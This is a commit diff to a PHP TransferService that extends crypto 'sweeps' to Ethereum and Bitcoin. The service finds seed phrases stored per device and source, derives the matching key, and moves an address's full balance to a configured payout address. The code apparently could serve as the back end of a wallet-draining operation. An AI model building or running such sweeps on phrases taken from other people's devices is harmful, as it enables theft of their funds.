feat: new chain
This commit is contained in:
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\TransferRecord;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\ChainDriver;
|
||||
@@ -15,29 +16,50 @@ class TransferService
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Sweep from a known device address to the configured payout address.
|
||||
* Sweep from a known device address to the configured TRANSFER_TO_ADDRESS_*.
|
||||
* Looks up mnemonics by the address row's device_id + source; tries each in order
|
||||
* (and BIP44 indexes) until the derived address matches $fromAddress.
|
||||
* Null / empty $amount means transfer the full on-chain balance of $asset.
|
||||
*
|
||||
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
|
||||
*/
|
||||
public function handle(string $chain, string $fromAddress, ?string $amount = null, string $asset = 'USDT'): array
|
||||
{
|
||||
public function handle(
|
||||
string $chain,
|
||||
string $fromAddress,
|
||||
?string $amount = null,
|
||||
string $asset = 'USDT',
|
||||
?string $operator = null,
|
||||
): array {
|
||||
$chain = strtolower(trim($chain));
|
||||
$record = [
|
||||
'from_address' => $fromAddress,
|
||||
'to_address' => null,
|
||||
'chain' => $chain,
|
||||
'tx_hash' => null,
|
||||
'amount' => $amount === null || trim($amount) === '' ? null : trim($amount),
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => strtoupper(trim($asset)),
|
||||
'operator' => $operator,
|
||||
'status' => TransferRecord::STATUS_FAILED,
|
||||
'error' => null,
|
||||
];
|
||||
|
||||
try {
|
||||
$to = trim((string) config('coruna.transfer.to_address', ''));
|
||||
$to = $this->toAddress($chain);
|
||||
if ($to === '') {
|
||||
return ['ok' => false, 'error' => 'TRANSFER_TO_ADDRESS is not configured'];
|
||||
return $this->finish($record, ['ok' => false, 'error' => $this->missingToAddressError($chain)]);
|
||||
}
|
||||
$record['to_address'] = $to;
|
||||
|
||||
$asset = strtoupper(trim($asset));
|
||||
$record['asset'] = $asset;
|
||||
$driver = $this->chains->resolve($chain);
|
||||
|
||||
if (! $driver->isValidAddress($fromAddress)) {
|
||||
return ['ok' => false, 'error' => 'Invalid from address'];
|
||||
return $this->finish($record, ['ok' => false, 'error' => 'Invalid from address']);
|
||||
}
|
||||
if (! $driver->isValidAddress($to)) {
|
||||
return ['ok' => false, 'error' => 'Invalid TRANSFER_TO_ADDRESS'];
|
||||
return $this->finish($record, ['ok' => false, 'error' => 'Invalid to address']);
|
||||
}
|
||||
|
||||
$amount = $amount === null ? null : trim($amount);
|
||||
@@ -46,58 +68,151 @@ class TransferService
|
||||
}
|
||||
|
||||
if ($amount === null) {
|
||||
$amount = $this->resolveFullBalance($driver, $fromAddress, $asset);
|
||||
$amount = $this->resolveFullBalance($driver, $fromAddress, $asset, $chain);
|
||||
}
|
||||
$record['amount'] = $amount;
|
||||
|
||||
$this->assertAmountWithinLimit($amount, $asset);
|
||||
|
||||
$resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
|
||||
if ($resolved === null) {
|
||||
return ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)'];
|
||||
return $this->finish($record, ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)']);
|
||||
}
|
||||
|
||||
['mnemonic' => $mnemonic, 'index' => $index] = $resolved;
|
||||
|
||||
$txid = match ($asset) {
|
||||
'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
||||
'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
||||
'USDT' => $driver->sendToken(
|
||||
$mnemonic,
|
||||
$index,
|
||||
$to,
|
||||
$amount,
|
||||
(string) config('coruna.tron.usdt_contract'),
|
||||
$this->usdtContract($chain),
|
||||
),
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
|
||||
return [
|
||||
$record['tx_hash'] = $txid;
|
||||
$record['status'] = TransferRecord::STATUS_SUCCESS;
|
||||
|
||||
return $this->finish($record, [
|
||||
'ok' => true,
|
||||
'txid' => $txid,
|
||||
'from' => $fromAddress,
|
||||
'to' => $to,
|
||||
'amount' => $amount,
|
||||
'asset' => $asset,
|
||||
];
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
return ['ok' => false, 'error' => $e->getMessage()];
|
||||
$record['error'] = $e->getMessage();
|
||||
|
||||
return $this->finish($record, ['ok' => false, 'error' => $e->getMessage()]);
|
||||
}
|
||||
}
|
||||
|
||||
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset): string
|
||||
/**
|
||||
* @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record
|
||||
* @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result
|
||||
* @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
|
||||
*/
|
||||
private function finish(array $record, array $result): array
|
||||
{
|
||||
if (! ($result['ok'] ?? false)) {
|
||||
$record['status'] = TransferRecord::STATUS_FAILED;
|
||||
$record['error'] = $record['error'] ?: ($result['error'] ?? 'Transfer failed');
|
||||
}
|
||||
|
||||
try {
|
||||
TransferRecord::query()->create([
|
||||
'from_address' => (string) ($record['from_address'] ?? ''),
|
||||
'to_address' => $record['to_address'],
|
||||
'chain' => (string) ($record['chain'] ?? ''),
|
||||
'tx_hash' => $record['tx_hash'],
|
||||
'amount' => $record['amount'],
|
||||
'type' => (string) ($record['type'] ?? TransferRecord::TYPE_OUT),
|
||||
'asset' => (string) ($record['asset'] ?? ''),
|
||||
'operator' => $record['operator'],
|
||||
'status' => (string) ($record['status'] ?? TransferRecord::STATUS_FAILED),
|
||||
'error' => $record['error'],
|
||||
]);
|
||||
} catch (\Throwable) {
|
||||
// never break transfer for persistence failures
|
||||
}
|
||||
|
||||
create_log([
|
||||
'event' => 'transfer',
|
||||
'ok' => (bool) ($result['ok'] ?? false),
|
||||
'from' => $record['from_address'],
|
||||
'to' => $record['to_address'],
|
||||
'chain' => $record['chain'],
|
||||
'tx_hash' => $record['tx_hash'],
|
||||
'amount' => $record['amount'],
|
||||
'type' => $record['type'],
|
||||
'asset' => $record['asset'],
|
||||
'operator' => $record['operator'],
|
||||
'status' => $record['status'],
|
||||
'error' => $record['error'],
|
||||
], 'transfer');
|
||||
|
||||
return $result;
|
||||
}
|
||||
|
||||
private function toAddress(string $chain): string
|
||||
{
|
||||
return match ($chain) {
|
||||
'eth', 'ethereum' => trim((string) config('coruna.transfer.to_address_eth', '')),
|
||||
'btc', 'bitcoin' => trim((string) config('coruna.transfer.to_address_btc', '')),
|
||||
default => trim((string) config('coruna.transfer.to_address', '')),
|
||||
};
|
||||
}
|
||||
|
||||
private function missingToAddressError(string $chain): string
|
||||
{
|
||||
return match ($chain) {
|
||||
'eth', 'ethereum' => 'TRANSFER_TO_ADDRESS_ETH is not configured',
|
||||
'btc', 'bitcoin' => 'TRANSFER_TO_ADDRESS_BTC is not configured',
|
||||
default => 'TRANSFER_TO_ADDRESS is not configured',
|
||||
};
|
||||
}
|
||||
|
||||
private function usdtContract(string $chain): string
|
||||
{
|
||||
$contract = match ($chain) {
|
||||
'eth', 'ethereum' => trim((string) config('coruna.eth.usdt_contract', '')),
|
||||
default => trim((string) config('coruna.tron.usdt_contract', '')),
|
||||
};
|
||||
if ($contract === '') {
|
||||
throw new RuntimeException('USDT contract is not configured for '.$chain);
|
||||
}
|
||||
|
||||
return $contract;
|
||||
}
|
||||
|
||||
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string
|
||||
{
|
||||
$balance = match ($asset) {
|
||||
'TRX' => $driver->getNativeBalance($fromAddress),
|
||||
'USDT' => $driver->getTokenBalance(
|
||||
$fromAddress,
|
||||
(string) config('coruna.tron.usdt_contract'),
|
||||
),
|
||||
'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress),
|
||||
'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)),
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
|
||||
if ($asset === 'TRX') {
|
||||
$reserve = (string) config('coruna.transfer.trx_fee_reserve', '1');
|
||||
if ($reserve !== '' && bccomp($reserve, '0') > 0) {
|
||||
$balance = bcsub($balance, $reserve, 6);
|
||||
$reserveKey = match ($asset) {
|
||||
'TRX' => 'coruna.transfer.trx_fee_reserve',
|
||||
'ETH' => 'coruna.transfer.eth_fee_reserve',
|
||||
'BTC' => 'coruna.transfer.btc_fee_reserve',
|
||||
default => null,
|
||||
};
|
||||
$scale = match ($asset) {
|
||||
'ETH' => 18,
|
||||
'BTC' => 8,
|
||||
default => 6,
|
||||
};
|
||||
|
||||
if ($reserveKey !== null) {
|
||||
$reserve = (string) config($reserveKey, '0');
|
||||
if ($reserve !== '' && bccomp($reserve, '0', $scale) > 0) {
|
||||
$balance = bcsub($balance, $reserve, $scale);
|
||||
$balance = rtrim(rtrim($balance, '0'), '.');
|
||||
if ($balance === '' || str_starts_with($balance, '-')) {
|
||||
$balance = '0';
|
||||
@@ -105,7 +220,7 @@ class TransferService
|
||||
}
|
||||
}
|
||||
|
||||
if (bccomp($balance, '0') <= 0) {
|
||||
if (bccomp($balance, '0', $scale) <= 0) {
|
||||
throw new RuntimeException("No transferable {$asset} balance");
|
||||
}
|
||||
|
||||
@@ -122,11 +237,20 @@ class TransferService
|
||||
->orderBy('id')
|
||||
->get(['device_id', 'source']);
|
||||
|
||||
// ETH addresses are often stored with mixed-case checksum.
|
||||
if ($addressRows->isEmpty() && str_starts_with(strtolower($fromAddress), '0x')) {
|
||||
$addressRows = WalletAddress::query()
|
||||
->whereRaw('LOWER(address) = ?', [strtolower($fromAddress)])
|
||||
->orderBy('id')
|
||||
->get(['device_id', 'source']);
|
||||
}
|
||||
|
||||
if ($addressRows->isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
|
||||
$caseInsensitive = $driver->chainId() === 'eth';
|
||||
|
||||
foreach ($addressRows as $row) {
|
||||
$mnemonics = WalletMnemonic::query()
|
||||
@@ -148,7 +272,11 @@ class TransferService
|
||||
}
|
||||
for ($index = 0; $index <= $maxIndex; $index++) {
|
||||
try {
|
||||
if ($driver->deriveAddress($phrase, $index) === $fromAddress) {
|
||||
$derived = $driver->deriveAddress($phrase, $index);
|
||||
$match = $caseInsensitive
|
||||
? strcasecmp($derived, $fromAddress) === 0
|
||||
: $derived === $fromAddress;
|
||||
if ($match) {
|
||||
return ['mnemonic' => $phrase, 'index' => $index];
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
@@ -163,13 +291,23 @@ class TransferService
|
||||
|
||||
private function assertAmountWithinLimit(string $amount, string $asset): void
|
||||
{
|
||||
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) {
|
||||
$decimals = match ($asset) {
|
||||
'ETH' => 18,
|
||||
'BTC' => 8,
|
||||
default => 6,
|
||||
};
|
||||
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount) || bccomp($amount, '0', $decimals) <= 0) {
|
||||
throw new RuntimeException('Invalid amount');
|
||||
}
|
||||
|
||||
$maxKey = $asset === 'TRX' ? 'coruna.transfer.max_trx' : 'coruna.transfer.max_usdt';
|
||||
$maxKey = match ($asset) {
|
||||
'TRX' => 'coruna.transfer.max_trx',
|
||||
'ETH' => 'coruna.transfer.max_eth',
|
||||
'BTC' => 'coruna.transfer.max_btc',
|
||||
default => 'coruna.transfer.max_usdt',
|
||||
};
|
||||
$max = (string) config($maxKey, '0');
|
||||
if ($max !== '' && $max !== '0' && bccomp($amount, $max) > 0) {
|
||||
if ($max !== '' && $max !== '0' && bccomp($amount, $max, $decimals) > 0) {
|
||||
throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})");
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user